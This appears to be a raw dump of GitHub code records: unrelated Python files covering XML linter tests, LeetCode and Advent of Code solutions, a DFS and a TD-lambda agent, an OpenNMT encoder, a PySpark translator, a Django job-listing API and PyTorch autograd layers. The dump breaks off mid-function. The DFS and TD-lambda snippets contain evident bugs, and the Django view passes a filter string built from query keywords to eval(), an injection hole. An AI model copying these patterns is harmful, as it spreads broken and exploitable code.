\"note.dtd\")\n\nschema_file = os.path.join(os.path.dirname(__file__),\n \"test_files\",\n \"note.xsd\")\n\nvalid_xml_path = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"note.xml\"), 'r'))\n\nvalid_xml_url = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"concept-valid.xml\"), 'r'))\n\ninvalid_xml_schema = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"xsd-error.xml\"), 'r'))\n\ninvalid_xml_dtd = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"dtd-error.xml\"), 'r'))\n\ninvalid_xml_url = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"concept-invalid.xml\"), 'r'))\n\ndtd_url = \"http://docs.oasis-open.org/dita/v1.0.1/dtd/concept.dtd\"\n\nXMLBearCorrectedTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_file, valid_xml_chars),\n invalid_files=(invalid_xml_file, invalid_xml_chars),\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearSchemaTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_path,),\n invalid_files=(invalid_xml_schema,),\n settings={'xml_schema': schema_file},\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearDTDPathTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_path,),\n invalid_files=(invalid_xml_dtd,),\n settings={'xml_dtd': dtd_file},\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearDTDUrlTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_url,),\n invalid_files=(invalid_xml_url,),\n settings={'xml_dtd': dtd_url},\n tempfile_kwargs={\"suffix\": \".xml\"})\n","repo_name":"Shreyas4991/coala-bears","sub_path":"tests/xml/XMLBearTest.py","file_name":"XMLBearTest.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"18046925211","text":"from typing import List\n\ndef two_sum(nums: List, target: int) -> List:\n \"\"\"Function determines the index of numbers in num whose sum equals target\n :type nums: List[int]\n :type target: int\n :rtype: List[int] \n \"\"\"\n num_index = {}\n two_sum_indexes = []\n for index, value in enumerate(nums):\n compliment_value = target - value\n compliment_index = num_index.get(compliment_value, None)\n if compliment_index is not None:\n two_sum_indexes = [index, compliment_index]\n break\n num_index[value] = index\n return two_sum_indexes\n\n\nif __name__ == '__main__':\n indexes = two_sum(nums=[2, 7, 11, 15], target=9)\n print(indexes)\n ","repo_name":"Prateek90/LeetCode","sub_path":"Python/src/TwoSumProblem.py","file_name":"TwoSumProblem.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41531214409","text":"\nimport util\n\ndef DFS(state):\n\n # for BFS frontier will be Stack LIFO\n frontier = util.Stack()\n frontier.push(state.initialState)\n\n # Add Explored Set i.e. difference between Tree and Graph\n explored = set()\n\n while not frontier.isEmpty():\n node = frontier.pop()\n explored.add(node)\n # Success\n if state.gisGoalState:\n return node\n\n for neighbor in node.neighbors:\n if neighbor not in frontier and neighbor in explored:\n frontier.push(neighbor)\n\n # Failure\n return False\n","repo_name":"pankajarm/CSMM101-Artificial-Intelligence","sub_path":"search_agent/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32822780575","text":"from typing import *\n\nfrom onmt.encoders.encoder import EncoderBase\nfrom onmt.utils.rnn_factory import rnn_factory\n\nfrom torch.nn.utils.rnn import pack_padded_sequence as pack\nfrom torch.nn.utils.rnn import pad_packed_sequence as unpack\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\n\nVHDL_TYPE_INDX = dict()\n\nclass AppendedRNNEncoder(EncoderBase):\n \n def __init__(self, rnn_type, bidirectional, num_layers,\n hidden_size, dropout=0.0, embeddings=None,\n use_bridge=False):\n super(AppendedRNNEncoder, self).__init__()\n assert embeddings is not None\n\n num_directions = 2 if bidirectional else 1\n assert hidden_size % num_directions == 0\n hidden_size = hidden_size // num_directions\n self.embeddings = embeddings\n\n self.rnn, self.no_pack_padded_seq = \\\n rnn_factory(rnn_type,\n input_size=embeddings.embedding_size+len(VHDL_TYPE_INDX)-1,\n hidden_size=hidden_size,\n num_layers=num_layers,\n dropout=dropout,\n bidirectional=bidirectional)\n\n # Initialize the bridge layer\n self.use_bridge = use_bridge\n if self.use_bridge:\n self._initialize_bridge(rnn_type,\n hidden_size,\n num_layers)\n\n @classmethod\n def from_opt(cls, opt, embeddings, type_token_indx=None):\n \"\"\"Alternate constructor.\"\"\"\n global VHDL_TYPE_INDX\n VHDL_TYPE_INDX = type_token_indx\n return cls(\n opt.rnn_type,\n opt.brnn,\n opt.enc_layers,\n opt.enc_rnn_size,\n opt.dropout[0] if type(opt.dropout) is list else opt.dropout,\n embeddings,\n opt.bridge)\n \n def forward(self, src, src_type, lengths=None):\n \"\"\"See :func:`EncoderBase.forward()`\"\"\"\n self._check_args(src, lengths)\n\n emb = self.embeddings(src)\n # s_len, batch, emb_dim = emb.size()\n\n # src_type: (seq_len, batch, 1)\n # type_onehot_emb: (seq_len, batch, len(VHDL_TYPE_INDX)-1)\n # or (1, batch, len(VHDL_TYPE_INDX)-1)\n type_onehot_emb = self.get_onehot_vector(src_type)\n\n if type_onehot_emb.size(0)==1:\n # type_onehot_emb: (s_len, batch, len(VHDL_TYPE)-1)\n type_onehot_emb = type_onehot_emb.repeat(emb.size(0), 1, 1)\n \n assert emb.size(0)==type_onehot_emb.size(0)\n # emb: (s_len, batch, emb_dim+len(VHDL_TYPE_INDX))\n emb = torch.cat((emb, type_onehot_emb), dim=-1)\n \n packed_emb = emb\n if lengths is not None and not self.no_pack_padded_seq:\n # Lengths data is wrapped inside a Tensor.\n lengths_list = lengths.view(-1).tolist()\n # PN: allow non-sorted\n packed_emb = pack(emb, lengths_list, enforce_sorted=False)\n\n memory_bank, encoder_final = self.rnn(packed_emb)\n\n if lengths is not None and not self.no_pack_padded_seq:\n memory_bank = unpack(memory_bank)[0]\n\n if self.use_bridge:\n encoder_final = self._bridge(encoder_final)\n return encoder_final, memory_bank, lengths\n\n def get_onehot_vector(self, src_type):\n # (seq_len, batch, 1) -> (seq_len, batch, len(VHDL_TYPE_INDX)-1)\n src_type = self.convert_vocab_indx_to_type_indx(src_type)\n seq_len = src_type.size(0)\n batch_size = src_type.size(1)\n res_vec = torch.zeros(seq_len, batch_size, len(VHDL_TYPE_INDX)-1)\n for step_i in range(seq_len):\n for batch_i in range(batch_size):\n if src_type[step_i, batch_i,:]<len(VHDL_TYPE_INDX)-1:\n res_vec[step_i, batch_i, src_type[step_i, batch_i,:]] = 1\n return res_vec.cuda()\n\n def convert_vocab_indx_to_type_indx(self, src_type):\n vhdl_type_indx_tensor = torch.tensor(list(VHDL_TYPE_INDX.values())).cuda()\n for step_i in range(src_type.size(0)):\n for batch_i in range(src_type.size(1)):\n indx = (vhdl_type_indx_tensor==src_type[step_i, batch_i, :]).nonzero()\n if len(indx)==0:\n src_type[step_i, batch_i, :] = len(VHDL_TYPE_INDX)-1\n else:\n src_type[step_i, batch_i, :] = indx.squeeze()\n return src_type\n\n def _initialize_bridge(self, rnn_type,\n hidden_size,\n num_layers):\n\n # LSTM has hidden and cell state, other only one\n number_of_states = 2 if rnn_type == \"LSTM\" else 1\n # Total number of states\n self.total_hidden_dim = hidden_size * num_layers\n\n # Build a linear layer for each\n self.bridge = nn.ModuleList([nn.Linear(self.total_hidden_dim,\n self.total_hidden_dim,\n bias=True)\n for _ in range(number_of_states)])\n\n def _bridge(self, hidden):\n \"\"\"Forward hidden state through bridge.\"\"\"\n def bottle_hidden(linear, states):\n \"\"\"\n Transform from 3D to 2D, apply linear and return initial size\n \"\"\"\n size = states.size()\n result = linear(states.view(-1, self.total_hidden_dim))\n return F.relu(result).view(size)\n\n if isinstance(hidden, tuple): # LSTM\n outs = tuple([bottle_hidden(layer, hidden[ix])\n for ix, layer in enumerate(self.bridge)])\n else:\n outs = bottle_hidden(self.bridge[0], hidden)\n return outs\n\n def update_dropout(self, dropout):\n self.rnn.dropout = dropout\n","repo_name":"EngineeringSoftware/hdlp","sub_path":"completion/onmt/encoders/AppendedRNNEncoder.py","file_name":"AppendedRNNEncoder.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7335167763","text":"import pyspark as py\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import SQLContext\nimport pyspark.sql.functions as F\nfrom pyspark.sql.functions import col, udf\nfrom pyspark.sql.types import *\nimport re\nimport codecs\nimport numpy as np\nimport string\nimport pickle\nimport nltk, re, pprint\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tokenize import RegexpTokenizer\nfrom googletrans import Translator\nimport spellcheck\n \nclass Translate:\n \n switcher = {\n \"naive\": \"\",\n \"bernoulli\": \"BernoulliNB_\",\n \"lr\": \"LogisticRegression_\",\n \"multinomial\": \"MNB_\",\n \"SGD\": \"SGDClassifier_\"\n }\n \n translator = Translator()\n \n translate_switcher = {\n \"Dutch\": \"nl\",\n \"English\": \"en\",\n \"French\": \"fr\"\n }\n \n corrector = {\n 'English': spellcheck.EnglishSpellCheck(),\n 'Dutch': spellcheck.DutchSpellCheck(),\n 'French': spellcheck.FrenchSpellCheck()\n }\n \n gram_feature_combinations = {\n 1: [300],\n 2: [300, 600, 1200, 2000],\n 3: [300, 600, 1200, 2000],\n 4: [300, 600, 1200, 2000],\n 5: [300, 600, 1200]\n }\n \n def __init__(self, dataframe, n=3, features = 2000, algorithm=\"lr\", target=\"en\", text_column = \"Comments\"):\n self.n = n\n self.features = features \n self.algorithm = algorithm\n self.target = target\n self.text_column = text_column\n if not self.check_feature_ngram():\n print(\"Wrong parameter settings\")\n return\n self.load_detect_algorithm()\n dataframe = self.detect_languages(dataframe)\n dataframe = self.correct_spelling(dataframe)\n dataframe = self.translate(dataframe)\n self.dataframe = dataframe\n \n def get_dataframe(self):\n return self.dataframe.select(\n (col(\"translated\")).alias(self.text_column)\n )\n \n def get_english(self):\n return self.dataframe.where(self.dataframe.language == \"English\").select(\n (col(\"corrected\")).alias(self.text_column)\n )\n \n def translate(self, dataframe):\n translateFunc = F.udf(self.get_translation, StringType())\n dataframe = dataframe.withColumn(\"translated\", translateFunc(\"corrected\", \"language\"))\n return dataframe\n \n def correct_spelling(self, dataframe):\n correctFunc = F.udf(self.correct_comment, StringType())\n dataframe = dataframe.withColumn(\"corrected\", correctFunc(self.text_column, \"language\"))\n return dataframe\n \n def detect_languages(self, dataframe):\n detectFunc = F.udf(self.detect_language, StringType())\n dataframe = dataframe.withColumn(\"language\", detectFunc(self.text_column))\n return dataframe\n \n def check_feature_ngram(self):\n if self.features in self.gram_feature_combinations[self.n]:\n return True\n return False\n \n def load_detect_algorithm(self):\n try:\n f = open('language detection/' + str(self.n) + '-ngram/n-'+ str(self.features)+'-featuresets.pickle', 'rb')\n self.featureset = pickle.load(f)\n f.close()\n f = open('language detection/' + str(self.n)+'-ngram/n-'+str(self.features)+'-'+self.switcher[self.algorithm]+\"classifier.pickle\", 'rb')\n self.language_detection_algorithm = pickle.load(f)\n f.close()\n except:\n print(\"Could not load models\")\n \n def detect_language(self, line):\n original = line\n line = self.preprocess(line)\n ngrams = self.get_ngrams(line)\n features = self.get_features(ngrams)\n detection = self.language_detection_algorithm.classify(features)\n if detection == \"Dutch\":\n return \"Dutch\"\n if detection == \"English\":\n return \"English\"\n if detection == \"French\":\n return \"French\"\n\n \n def get_features(self, grams):\n to_return = {}\n if isinstance(grams, list):\n for gram in grams:\n found = False\n for sen in self.featureset:\n if gram == sen:\n found = True\n to_return[gram] = True\n if not found:\n to_return[gram] = False\n return to_return\n \n def preprocess(self, line):\n if line != \"\" and line is not None:\n line = \" \".join(line.split()[0:])\n line = line.lower()\n line = re.sub(r\"\\d+\", \"\", line)\n line = line.translate(str.maketrans('', '', string.punctuation))\n return line\n\n def get_ngrams(self, line):\n detected_ngrams = nltk.ngrams(line, self.n)\n try:\n return list(detected_ngrams)\n except:\n return []\n\n def create_ngram_features(self, line):\n ngrams = dict()\n sequence = preprocess(line)\n detected_ngrams = self.get_ngrams(sequence, self.n)\n for detected in detected_ngrams:\n ngrams[detected] = ngrams.get(detected, 0) + 1\n return sorted(ngrams.items(), key=lambda item: item[1],reverse=True)\n \n def correct_comment(self, comment, language):\n return self.corrector[language].correct_sentence(comment)\n \n def get_translation(self, comment, language):\n if self.translate_switcher[language] == \"en\":\n return comment\n \n return self.translator.translate(comment, src=self.translate_switcher[language], dest=\"en\").text\n ","repo_name":"Bovi-analytics/classify_cattle_disease","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12795275866","text":"##### quick and dirty ######\ndata = open('day4.txt').read().splitlines()\n\nn = 0\nfor section in data:\n range1,range2 = section.split(',')\n x1,x2 = map(int,range1.split('-'))\n y1,y2 = map(int,range2.split('-'))\n a = set(range(x1,x2+1))\n b = set(range(y1,y2+1))\n if a & b == b or a & b == a: # part 1\n # if a & b: #part 2\n n += 1\nprint(n)\n\n##### refactored ######\ndata = open('day4.txt').read().splitlines()\n\ndef make_elf_sections(data):\n return [[list(map(int,x.split('-'))) for x in d.split(',')] for d in data]\n \ndef subsumes(elves):\n e1,e2 = elves \n return e1[0] >= e2[0] and e1[1] <= e2[1] or e2[0] >= e1[0] and e2[1] <= e1[1]\n \ndef overlaps(elves):\n e1,e2 = elves\n return e1[1] >= e2[0] and e1[1] <= e2[1] or e2[1] >= e1[0] and e2[1] <= e1[1]\n\ndef count_elves(elves,assignment_func):\n return len(list(filter(assignment_func,elves)))\n\nelves = make_elf_sections(data)\n\nprint(count_elves(elves,subsumes))\nprint(count_elves(elves,overlaps))\n","repo_name":"Solaxun/AoC2022_python","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29643585071","text":"'''\nCreated on Sep 8, 2017\n\n@author: wangxing\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnumStates = 7\nstartState = numStates/2 +1\nstates = np.arange(1, numStates+1)\nabsorbingState = [0, numStates+1]\n\nactionLeft = 0\nactionRight = 1\n\n\nclass TDlambda(object):\n '''\n classdocs\n '''\n def __init__(self, lamb, alpha, gamma=1.):\n '''\n Constructor\n '''\n self.lamb = lamb \n self.alpha = alpha \n self.gamma = gamma\n self.values = np.zeros(numStates + 2)\n self.newEpisode()\n \n def newEpisode(self):\n self.eligibility = np.zeros(numStates + 2)\n self.lastState = startState\n self.stateValue = 0.0\n \n def learn(self, state, reward):\n self.eligibility *= (self.lamb * self.gamma)\n delta = reward + self.value[state] * self.gamma - self.values[self.lastState]\n delta *= self.alpha\n self.values += delta * self.eligibility\n self.lastState = state\n\n \n \ndef randomWalk(valueFunction):\n valueFunction.newEpisode()\n currentState = startState\n while currentState not in absorbingState:\n if np.random.binomial(1, 0.5) == actionLeft:\n newState = currentState - 1\n else:\n newState = currentState + 1\n if newState == 0:\n reward = -1\n elif newState == numStates + 1:\n reward = 1\n else:\n reward = 0\n valueFunction.learn(newState, reward)\n currentState = newState\n \ndef rmsError(lambdas, alphas, episodes=10, runs=100):\n errors = [np.zeros(len(lambdas))]\n for run in range(runs):\n for lambIndex, lamb in zip(range(len(lambdas)), lambdas):\n for alphaIndex, alpha in zip(range(len(alphas)), alphas):\n instance = TDlambda(lamb, alpha)\n for episode in episodes:\n randomWalk(instance)\n stateValues = instance.values\n# errors[lambIndex][alphaIndex] += np.sqrt(np.mean(np.power(stateValues - idealPredictions)))\n \ndef figure4():\n lambdas = [0, .1, .3, .5, .7, .9, 1]\n alphas = np.arange(0, .7, .1)","repo_name":"xzw0005/SuttonRLBook","sub_path":"Examples/RandomWalk.py","file_name":"RandomWalk.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1830572247","text":"import json\nimport logging\nfrom django.db.models import Q\nfrom django.http import JsonResponse\nfrom requests import Response\nfrom rest_framework.views import APIView\nfrom ..models.visualize_models import lagou\n\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework.permissions import IsAuthenticated\n\n\ndef lagou_table_api(request):\n global results, max_salary, min_salary\n\n lagou_json_filename = 'static/file/lagou_json.json'\n page = int(request.GET.get('page', default=1)) # get请求前端table发来的参数\n limit = int(request.GET.get('limit', default=10))\n education = request.GET.get('education')\n city = request.GET.get('city')\n salary = request.GET.get('salary')\n experience = request.GET.get('experience')\n keyword = request.GET.get('keyword')\n # 不为None或 ''\n if not any([education, city, salary, experience, keyword]) or (\n education == '' and city == '' and salary == '' and experience == '' and keyword == ''):\n with open(lagou_json_filename, encoding='utf-8') as f:\n lagou_jsonData = json.load(f)\n datas = { # 和with平级\n 'code': 0,\n 'msg': \"\",\n 'count': len(lagou_jsonData),\n 'data': lagou_jsonData[((page - 1) * limit) + 1:(page * limit)]\n }\n return JsonResponse(datas)\n\n else:\n if experience == '0':\n experience = '应届毕业生'\n elif experience == '1-':\n experience = '1年以下'\n elif experience == '10+':\n experience = '10年以上'\n elif experience == '666':\n experience = '经验不限'\n job_keywords = keyword.split(',')[:-1]\n if len(job_keywords) != 0:\n temp_job = [\"Q(job__icontains='{}')\".format(job) for job in job_keywords]\n job_filter = '|'.join(temp_job)\n else:\n job_filter = \"Q(job__icontains='')\"\n data_lagou = []\n # 此时education为本科，city为上海,月薪为10k-15k,经验要求1年以下\n results = lagou.lagou_.filter(Q(education__contains=education) & Q(education__contains=experience),\n # reduce(lambda x, y: Q(job__icontains=x) | Q(job__icontains=y), job_keywords),\n eval(job_filter),\n # Q对象一定要放在关键词查询的前面\n city__contains=city)\n if salary != '':\n salary = salary.split('-')\n min_salary = int(salary[0])\n max_salary = int(salary[1])\n for result in results:\n temp_salary = result.salary.replace('k', '').replace('K', '').split('-')\n # 长沙的java简直有毒，草！\n if len(temp_salary) == 2 and 'k' not in temp_salary[1] and 'k' not in temp_salary[0] and \\\n max_salary < int(temp_salary[1]) and min_salary > int(temp_salary[0]):\n data_dict = {\n 'index': result.id,\n 'city': result.city,\n 'education': result.education,\n 'industry': result.industry,\n 'job_keyword': result.job,\n 'publish_time': result.recruit_name,\n 'salary': result.salary,\n 'scale': result.scale,\n 'technology_keyword': result.technique_key,\n 'treatment': result.treatment,\n }\n data_lagou.append(data_dict)\n del data_dict\n else:\n for result in results:\n data_dict = {\n 'index': result.id,\n 'city': result.city,\n 'education': result.education,\n 'industry': result.industry,\n 'job_keyword': result.job,\n 'publish_time': result.recruit_name,\n 'salary': result.salary,\n 'scale': result.scale,\n 'technology_keyword': result.technique_key,\n 'treatment': result.treatment,\n }\n data_lagou.append(data_dict)\n del data_dict\n datas_modify = { # 仍然是全局的\n 'code': 0,\n 'msg': \"\",\n 'count': len(data_lagou), # 总数\n 'data': data_lagou[((page - 1) * limit) + 1:(page * limit)]\n }\n return JsonResponse(datas_modify)\n\n'''\nclass test(APIView):\n authentication_classes = [SessionAuthentication, BasicAuthentication]\n permission_classes = [IsAuthenticated]\n\n def get(self, request):\n content = {\n 'user': request.user,\n 'auth': request.auth\n }\n return Response(content)\n'''\n","repo_name":"syz247179876/Django-Mblog","sub_path":"mblog_this/visualize/views/visualize_api.py","file_name":"visualize_api.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"41843377984","text":"import torch\nfrom torch import nn\nfrom torch.autograd import Function\nfrom math import *\n\n# ST-TS-HGR-NET Architecture \n\n## Before ST-TS\n\ndef sym(A):\n return 0.5 * (A + A.transpose(-1,-2))\ndef sequence(t):\n d = dict()\n d[0] = range(t)\n d[1] = range(int(t/2))\n d[2] = range(int(t/2),t)\n d[3] = range(int(t/3))\n d[4] = range(int(t/3), 2*int(t/3))\n d[5] = range(2 * int(t/3), t)\n return d\n\n\n## ST-GA-NET\n\n\n### First Gauss Aggregation Layer\n\nclass Gauss_agg1_st_function(Function):\n @staticmethod\n def forward(ctx,input,parts, t0):\n t0 = torch.tensor(t0)\n NP, P = len(parts), len(parts[0])\n ctx.save_for_backward(input,t0, torch.tensor(NP), torch.tensor(P))\n batch,nb_frames,joints,coor,col = input.size()\n #ST\n output_st = []\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n x = input[:,binf:bsup + 1].clone().transpose(1,2).reshape(batch,NP, P,bsup-binf + 1,coor,col)\n y = x.clone()\n x[:,:,1:-1] = (x[:,:,1:-1] + x[:,:,:-2] + x[:,:,2:])/3\n mu = x.mean(2)\n cov = torch.zeros(batch,NP,bsup-binf + 1,coor,coor)\n m = mu.unsqueeze(2).expand(x.size())\n xm,x0,xp = y[:,:,:,:-2]-m[:,:,:,1:-1], y-m, y[:,:,:,2:]-m[:,:,:,1:-1]\n cov[:,:,1:-1] = ((xm @ xm.transpose(-1,-2) + x0[:,:,:,1:-1] @ x0[:,:,:,1:-1].transpose(-1,-2) + xp @ xp.transpose(-1,-2))/3).mean(2)\n cov[:,:,::bsup-binf] = (x0[:,:,:,::bsup-binf] @ x0[:,:,:,::bsup-binf].transpose(-1,-2)).mean(2)\n\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,len(parts),bsup-binf + 1,1,1)\n output_st.append(torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2))\n return torch.cat(tuple(output_st),2)\n\n\n @staticmethod\n def backward(ctx,grad_output_st):\n\n input,t0, NP, P = ctx.saved_tensors\n t0, NP , P = int(t0), int(NP), int(P)\n batch,nb_frames,joints,coor,col = input.size()\n grad_input_st = torch.zeros(input.size())\n grad_output_st = grad_output_st.split([len(sequence(nb_frames)[s]) for s in range(6)],2)\n input = input.reshape(batch,nb_frames,joints,coor)\n for s in range(6):\n g = sym(grad_output_st[s]).transpose(1,2)\n\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n X = input[:,binf:bsup + 1].clone().reshape(batch,bsup-binf + 1,NP, P, coor)\n #outside the edges of frames\n Xs = torch.cat((X[:,1:-1],X[:,:-2],X[:,2:]),-2)\n B = torch.eye(coor + 1,coor).reshape(1,1,1,coor + 1,coor).expand(batch,bsup-binf-1, NP,coor + 1,coor)\n b = torch.cat((torch.zeros(coor),torch.ones(1))).reshape(1,1,1,coor + 1,1).expand(batch,bsup-binf-1,NP,coor + 1,1)\n vect_one = torch.ones(batch,bsup-binf-1, NP, 3 * P,1)\n x = (1/6)*(Xs @ B.transpose(-1,-2) + vect_one @ b.transpose(-1,-2) ) @ g[:,1:-1] @ B\n grad_input_st[:,binf + 1:bsup] += ((x[:,:,:,:P] + x[:,:,:,P:2 * P] + x[:,:,:,2 * P:3 * P])/3).reshape(batch,bsup-binf-1,NP * P,coor).unsqueeze(-1)\n #The edges of frames\n Xs = X[:,::bsup-binf].reshape(batch,2,NP, P,coor)\n B = torch.eye(coor + 1,coor).reshape(1,1,1,coor + 1,coor).expand(batch,2,NP,coor + 1,coor)\n b = torch.cat((torch.zeros(coor),torch.ones(1))).reshape(1,1,1,coor + 1,1).expand(batch,2,NP,coor + 1,1)\n vect_one = torch.ones(batch,2, NP, P,1)\n x = (1/2)*(Xs @ B.transpose(-1,-2) + vect_one @ b.transpose(-1,-2) ) @ g[:,::bsup-binf] @ B\n grad_input_st[:,binf:bsup + 1:bsup-binf] += x.reshape(batch,2, NP * P,coor).unsqueeze(-1) \n return grad_input_st/3,None, None\n\nclass Gauss_agg1_st(nn.Module):\n def __init__(self, parts, t0 = 1):\n super(Gauss_agg1_st,self).__init__()\n self.t0 = t0\n self.parts = parts\n def forward(self,input):\n return Gauss_agg1_st_function.apply(input,self.parts, self.t0)\n\n\n### ReEig Layer\n\nclass ReEig_st_function(Function):\n @staticmethod\n def forward(ctx,input_st,eps):\n eps = torch.tensor(eps)\n #ST\n u,S,v = input_st.svd()\n ctx.save_for_backward(u,S.clone(),eps)\n S[S<eps] = eps\n return u @ S.diag_embed() @ u.transpose(-1,-2),u,S\n \n @staticmethod\n def backward(ctx,grad_output_st,grad_u,grad_S):\n u,S,eps = ctx.saved_tensors\n eps = float(eps)\n #ST\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n Q = torch.ones(S.size())\n Q[S<eps] = 0\n Q = Q.diag_embed()\n g = sym(grad_output_st)\n S[S<eps] = eps\n dLdu = 2* g @ u @ S.diag_embed()\n dLdS = Q @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(3), out = torch.LongTensor())\n k = dLdS[:,:,:,idx,idx].diag_embed()\n grad_input_st = u @ (( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_st,None\n\nclass ReEig_st(nn.Module):\n def __init__(self,eps = 10**(-4)):\n super(ReEig_st,self).__init__()\n self.eps = eps\n\n def forward(self,input_st):\n return ReEig_st_function.apply(input_st,self.eps)\n\n\n### LogEig Layer\n\nclass LogEig_st_function(Function):\n @staticmethod\n def forward(ctx,input_st,u,S):\n #ST\n s = S[:,:,:,:,0].log().diag_embed()\n ctx.save_for_backward(u,S,s)\n return u @ s @ u.transpose(-1,-2)\n \n @staticmethod\n def backward(ctx,grad_output_st):\n u,S,s = ctx.saved_tensors\n g = sym(grad_output_st)\n P = S.clone()\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ s\n dLdS = (1/S[:,:,:,:,0]).diag_embed() @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(3), out = torch.LongTensor())\n k = dLdS[:,:,:,idx,idx].diag_embed()\n grad_input_st = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n \n return grad_input_st,dLdu,dLdS\n\nclass LogEig_st(nn.Module):\n def __init__(self):\n super(LogEig_st,self).__init__()\n\n def forward(self,input_st,u,S):\n return LogEig_st_function.apply(input_st,u,S.unsqueeze(-1).expand(u.size()))\n\n\n### VecMat Layer\n\nclass VecMat_st_function(Function):\n\n @staticmethod\n def forward(ctx,input_st):\n ctx.save_for_backward(input_st)\n batch,fingers,nb_frames,row,col = input_st.size()\n input_st.abs_()\n input_st += (sqrt(2)-1)*input_st.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output_st = input_st[:,:,:,id[0],id[1]].unsqueeze(-1)\n return output_st\n\n @staticmethod\n def backward(ctx,grad_output_st):\n input_st = ctx.saved_tensors\n input_st = input_st[0]\n batch,fingers,nb_frames,row,col = input_st.size()\n g = torch.zeros(batch,fingers,nb_frames,row,col)\n j = 0\n for i in range(row):\n g[:,:,:,i,i:] = grad_output_st[:,:,:,j:j + row-i,0]\n g[:,:,:,i:,i] = g[:,:,:,i,i:]\n j += row-i\n g += (sqrt(2)-1)*(g.triu(1) + g.tril(-1))\n return g\n\nclass VecMat_st(nn.Module):\n def __init__(self):\n super(VecMat_st,self).__init__()\n\n def forward(self,input_st):\n return VecMat_st_function.apply(input_st)\n\n\n### Second Gauss aggregation Layer\n\nclass Gauss_agg2_st_function(Function):\n @staticmethod\n def forward(ctx,x0,x1,x2,x3,x4,x5, parts):\n ctx.save_for_backward(x0,x1,x2,x3,x4,x5)\n input_st = [x0,x1,x2,x3,x4,x5]\n #ST\n mu = torch.zeros(x0.size(0),6,x0.size(1),x0.size(3),1)\n cov = torch.zeros(x0.size(0),6,x0.size(1),x0.size(3),x0.size(3))\n for s in range(6):\n batch,fingers,nb_frames,row,col = input_st[s].size()\n mu[:,s] = input_st[s].mean(2)\n x = input_st[s]-mu[:,s].unsqueeze(2).expand(batch,fingers,nb_frames,row,col)\n cov[:,s] = (x @ x.transpose(-1,-2)).mean(2)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6, len(parts),1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n @staticmethod\n def backward(ctx,grad_output_st):\n x0,x1,x2,x3,x4,x5 = ctx.saved_tensors\n input_st = [x0,x1,x2,x3,x4,x5]\n grad_input_st = []\n batch,fingers,nb_frames,row,col = x0.size()\n B = torch.eye(row + 1,row).reshape(1,1,row + 1,row).expand(batch,fingers,row + 1,row)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,row + 1).expand(batch,fingers,1,row + 1)\n g = sym(grad_output_st)\n #ST\n for s in range(6):\n nb_frames = input_st[s].size(2)\n x = input_st[s].squeeze(-1)\n vect_one = torch.ones(batch,fingers,nb_frames,1)\n gr = (2/(nb_frames))* (x @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s] @ B\n grad_input_st.append(gr.unsqueeze(-1))\n return 